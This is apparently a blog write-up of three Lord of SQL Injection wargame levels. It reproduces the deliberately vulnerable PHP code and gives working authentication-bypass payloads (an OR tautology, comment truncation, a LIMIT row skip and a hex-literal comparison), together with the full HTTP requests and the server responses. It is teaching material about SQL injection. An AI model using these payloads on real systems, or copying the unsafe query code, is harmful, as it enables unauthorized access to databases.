Lord of SQL Injection – Part 1: Gremlin, Cobolt & Goblin

Table of Contents

What is Lord of SQL Injection?

Lord of SQL Injection is an online wargame designed to teach and challenge individuals in the art of SQL injection attacks. Created by Korean developer Meepwn, this platform simulates a wide range of real-world vulnerabilities through intentionally flawed web applications.

The game is structured as a series of levels, each one representing a unique challenge where players must exploit SQL injection flaws to bypass authentication, extract hidden data, or manipulate database queries. It begins with basic concepts and gradually introduces more complex techniques such as blind injection, UNION-based attacks, and bypassing WAFs.

Every level provides minimal clues, encouraging players to think critically, research, and apply various payloads and tactics. Whether you’re a beginner looking to understand the basics or an experienced tester aiming to sharpen your skills, Lord of SQL Injection offers a practical and hands-on environment to explore the depths of SQL exploitation.

Gremlin Challenge

Upon accessing the Gremlin challenge, the application immediately displays the SQL query it uses to validate user input:

SELECT id FROM prob_gremlin WHERE id='' AND pw=''

This offers an initial hint: the query takes id and pw parameters from user-supplied input and injects them directly into the SQL statement. However, a deeper look into the backend logic reveals the real structure of the application:

 <?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); // do not try to attack another table, database!
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
  $query = "select id from prob_gremlin where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if($result['id']) solve("gremlin");
  highlight_file(__FILE__);
?> 

From this source code, several important aspects stand out:

  • Input Reflection:` The SQL query is dynamically constructed using $_GET['id'] and $_GET['pw'], making it vulnerable to injection.
  • Regex-based Filtering: The application uses preg_match() to block potentially dangerous characters or patterns, such as prob, _, ., and (). This is an attempt to restrict access to other tables or schemas and to prevent the use of functions.
  • Query Output: The final SQL query is echoed back to the user, allowing immediate feedback on how the input is interpreted by the server—an advantage for testing and debugging injection payloads.

Despite the regex filters, the challenge remains exploitable by crafting payloads that avoid the restricted patterns while still manipulating the query logic. This is a great example of how blacklisting alone is an ineffective defense mechanism against SQL injection when unsanitized input is still being directly embedded into queries.

In the next section, we’ll dive into strategies to bypass these filters and exploit the injection vector.

Exploiting the SQL Injection

Based on the insights gained from reviewing the source code, we can craft a payload that manipulates the logic of the SQL query by injecting a condition that always evaluates to true. One such classic payload is:

1' OR '1'='1'-- -'

This payload effectively breaks out of the original query context and appends a logical condition ('1'='1') that will always return true. The double-dash (--) sequence comments out the remaining part of the SQL statement to prevent syntax errors or additional clauses from executing.

When this payload is injected into the URL parameters, the resulting request looks like this:

GET /chall/gremlin_280c5552de8b681110e9287421b834fd.php?id=1&pw=1'+OR+'1'='1'--+-' HTTP/1.1
Host: los.rubiya.kr
Cookie: PHPSESSID={redact}

The server interprets this as the following SQL query:

SELECT id FROM prob_gremlin WHERE id='1' AND pw='1' OR '1'='1'-- -'

Due to the OR '1'='1' condition, the WHERE clause becomes universally true, allowing authentication to succeed regardless of the actual values for id and pw.

Upon sending the request, the server responds with a success message:

HTTP/1.1 200 OK
...
<hr>query : <strong>select id from prob_gremlin where id='1' and pw='1' OR '1'='1'-- -''</strong><hr><br><h2>GREMLIN Clear!</h2>

This confirms that the SQL injection was successful and the challenge was solved. It also demonstrates how improper input sanitization—combined with dynamic query construction—can lead to critical security flaws that allow unauthorized access or data leakage.

Cobolt Challenge

The Cobolt challenge introduces a slight variation in how user credentials are processed. Upon accessing the page, the following SQL query is shown at the top:

select id from prob_cobolt where id='' and pw=md5('')

This query indicates that the application stores passwords as MD5 hashes and compares them using pw=md5('{user_input}').

Reviewing the PHP source code confirms this logic:

<?php
  include "./config.php"; 
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'] == 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"; 
  highlight_file(__FILE__); 
?>
  • The application directly inserts $_GET['id'] and $_GET['pw'] into the SQL query without proper sanitization.
  • Passwords are hashed using the md5() SQL function within the query.
  • The filtering rules again blacklist keywords such as prob, _, ., and () — preventing basic function calls or schema access, but not stopping logic-based injections.
  • The challenge only clears if the returned id is 'admin'.

Exploiting the SQL Injection

To exploit this challenge, the attacker needs to manipulate the logic of the SQL statement such that the query returns a row with id = 'admin'. However, the password is hashed using md5(), so instead of injecting around it, we inject into the id field and try to bypass the password check.

A functional payload for the id parameter is:

admin' -- -

This comment sequence (-- -) ignores the AND pw=md5(...) portion of the query.

The final request becomes:

GET /chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'--+-&pw=123 HTTP/1.1
Host: los.rubiya.kr
Cookie: PHPSESSID={redacted}

This results in the SQL query being interpreted as:

SELECT id FROM prob_cobolt WHERE id='admin'-- -' AND pw=md5('123')

Everything after the comment marker is ignored by the database engine, making the pw clause irrelevant. The application then checks whether the returned user is 'admin', which leads to a successful challenge clear.`

The server responds with:

HTTP/1.1 200 OK
...
<hr>query : <strong>select id from prob_cobolt where id='admin'-- -' and pw=md5('123')</strong><hr><br>
<h2>COBOLT Clear!</h2>

This confirms successful exploitation through SQL injection using comment truncation and demonstrates how hash comparison mechanisms can still be bypassed when input is not safely handled.

Goblin Challenge

The Goblin challenge shifts away from traditional login forms and instead focuses on exploiting logic based on numeric input. When accessing the challenge, the following SQL query is shown at the top of the page:

select id from prob_goblin where id='guest' and no=

This suggests the application will only return a result where the id is "guest" and the no parameter matches a valid value in the database.

Here’s the full PHP source code behind the challenge:

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~"); 
  $query = "select id from prob_goblin where id='guest' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("goblin");
  highlight_file(__FILE__); 
?>
  • The input parameter no is directly injected into the SQL query without quotes, making it a numeric field.
  • The application blocks:
    • Table/schema/function-based injections via /prob|_|\.|\(\)/i.
    • All quote characters via /\'|\"|\/i
  • The user-supplied input is evaluated in this SQL structure:
select id from prob_goblin where id='guest' and no={USER_INPUT}
  • The goal is to bypass the id='guest' condition and instead return a row with id='admin'.

Exploiting the SQL Injection

Since the application forbids the use of quotes (’, “, `) and other characters like parentheses via regular expressions, our injection must rely purely on numeric logic and allowed keywords.

Method 1: Using LIMIT to Bypass Row Filtering

A reliable approach is to manipulate the SQL logic using OR combined with LIMIT to skip the default result (guest) and retrieve the next row — presumably admin.

Payload:

0 or 1=1 limit 1,1

Resulting query:

select id from prob_goblin where id='guest' and no=0 or 1=1 limit 1,1

This bypasses the id='guest' condition and retrieves the second row in the result set, often admin.

Request example:

GET /chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0+or+1=1+limit+1,1 HTTP/1.1
Host: los.rubiya.kr
Cookie: PHPSESSID={redacted}

Response:

HTTP/1.1 200 OK
...
<hr>query : <strong>select id from prob_goblin where id='guest' and no=0 or 1=1 limit 1,1</strong><hr><br><h2>Hello admin</h2><h2>GOBLIN Clear!</h2>

Method 2: Comparing with Hexadecimal id

Another elegant method uses direct comparison against the id field using a hexadecimal literal, avoiding the need for quotes entirely. In MySQL, a string like 'admin' can be represented as a hexadecimal constant:

0x61646d696e

(hex for 'admin')

Payload:

0 or id=0x61646d696e

Resulting query:

select id from prob_goblin where id='guest' and no=0 or id=0x61646d696e

How it works:

  • The first condition id='guest' and no=0 is false.
  • The second condition id=0x61646d696e is true for the admin row.
  • Since this is a valid SQL expression without any quotes, it successfully bypasses all regex filters.

Request example:

GET /chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=0+OR+id=0x61646d696e HTTP/1.1
Host: los.rubiya.kr
Cookie: PHPSESSID={redacted}

Response:

HTTP/1.1 200 OK
...
<hr>query : <strong>select id from prob_goblin where id='guest' and no=0 OR id=0x61646d696e</strong><hr><br><h2>Hello admin</h2><h2>GOBLIN Clear!</h2>

Conclusion

This blog post explored the first three challenges from the Lord of SQL Injection platform: Gremlin, Cobolt, and Goblin — each designed to teach progressively deeper aspects of SQL injection vulnerabilities.

In Gremlin, we exploited a basic SQL injection using a classic ' OR '1'='1'-- payload to bypass authentication logic.

The Cobolt challenge introduced md5() hashing into the query, but we demonstrated how commenting out the password condition still allowed access to the admin user.

Finally, Goblin enforced numeric-only inputs with aggressive quote filtering, yet we were able to bypass the logic using two clever techniques: logic manipulation with LIMIT, and quote-free string comparison using hexadecimal values.

Across all three, one common theme emerged: unsafe query construction remains exploitable regardless of superficial input filtering. Whether through blacklists, hash functions, or numeric constraints, any system that embeds raw user input into SQL statements is inherently at risk.

These early challenges offer a solid foundation in understanding how SQL injection works and how to adapt your approach depending on the constraints. As the difficulty increases in later stages, we’ll encounter more advanced filters, blind injections, and time-based inference — making it critical to master the fundamentals showcased here.

References

  1. MySQL Documentation – Hexadecimal Literals
    Explanation of how to represent string values in MySQL using hexadecimal notation — useful for bypassing quote-based filters in SQL injection.

  2. OWASP – SQL Injection
    Comprehensive overview of SQL injection techniques, prevention strategies, and real-world implications.

  3. Lord of SQL Injection
    CTF-style platform for practicing SQL injection attacks across increasing difficulty levels — ideal for hands-on learning.

  4. PayloadAllTheThings – SQL Injection
    A curated list of SQL injection payloads and techniques, including WAF bypass tricks and advanced exploitation tips.

  5. MySQL Operator Precedence
    Official documentation of SQL operator precedence rules — critical for understanding how complex injections are evaluated.